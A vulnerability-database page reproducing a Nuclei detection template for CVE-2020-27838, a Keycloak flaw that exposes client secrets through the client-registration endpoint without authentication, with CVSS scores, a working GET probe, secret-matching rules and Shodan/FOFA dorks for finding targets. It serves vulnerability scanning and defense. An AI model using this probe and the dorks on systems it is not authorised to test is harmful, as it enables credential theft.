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nucleiProjectDiscoveryNUCLEI:CVE-2020-27838
HistoryJan 16, 2024 - 9:57 a.m.

KeyCloak - Information Exposure

2024-01-1609:57:16
ProjectDiscovery
github.com
5
vulnerability
keycloak
unauthorized access
public client
authentication
information exposure

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:N/A:N

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

6.4 Medium

AI Score

Confidence

High

0.117 Low

EPSS

Percentile

95.3%

A flaw was found in keycloak in versions prior to 13.0.0. The client registration endpoint allows fetching information about PUBLIC clients (like client secret) without authentication which could be an issue if the same PUBLIC client changed to CONFIDENTIAL later. The highest threat from this vulnerability is to data confidentiality.
id: CVE-2020-27838

info:
  name: KeyCloak - Information Exposure
  author: mchklt
  severity: medium
  description: |
    A flaw was found in keycloak in versions prior to 13.0.0. The client registration endpoint allows fetching information about PUBLIC clients (like client secret) without authentication which could be an issue if the same PUBLIC client changed to CONFIDENTIAL later. The highest threat from this vulnerability is to data confidentiality.
  impact: |
    The vulnerability allows an attacker to gain sensitive information from the KeyCloak server.
  remediation: |
    Apply the latest security patches or updates provided by the KeyCloak vendor.
  reference:
    - https://bugzilla.redhat.com/show_bug.cgi?id=1906797
    - https://nvd.nist.gov/vuln/detail/CVE-2020-27838
    - https://github.com/muneebaashiq/MBProjects
    - https://github.com/j4k0m/godkiller
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2020-27838
    cwe-id: CWE-287
    epss-score: 0.08135
    epss-percentile: 0.93734
    cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: redhat
    product: keycloak
    shodan-query:
      - "title:\"keycloak\""
      - http.title:"keycloak"
      - http.html:"keycloak"
      - http.favicon.hash:-1105083093
    fofa-query:
      - title="keycloak"
      - icon_hash=-1105083093
      - body="keycloak"
    google-query: intitle:"keycloak"
  tags: cve,cve2020,keycloak,exposure,redhat

http:
  - method: GET
    path:
      - "{{BaseURL}}/auth/realms/master/clients-registrations/default/security-admin-console"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '"clientId":\s*"security-admin-console"'
          - '"secret":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022075a12abb8d7c57a24c8ad7a00997a9a572da21c9e1131e500c6f77f352c3c557022100f4c157e6b030a4dd3fee892c2c6132443e51a8d9757b37b0147225053d401422:922c64590222798bb761d5b6d8e72950

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:N/A:N

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

6.4 Medium

AI Score

Confidence

High

0.117 Low

EPSS

Percentile

95.3%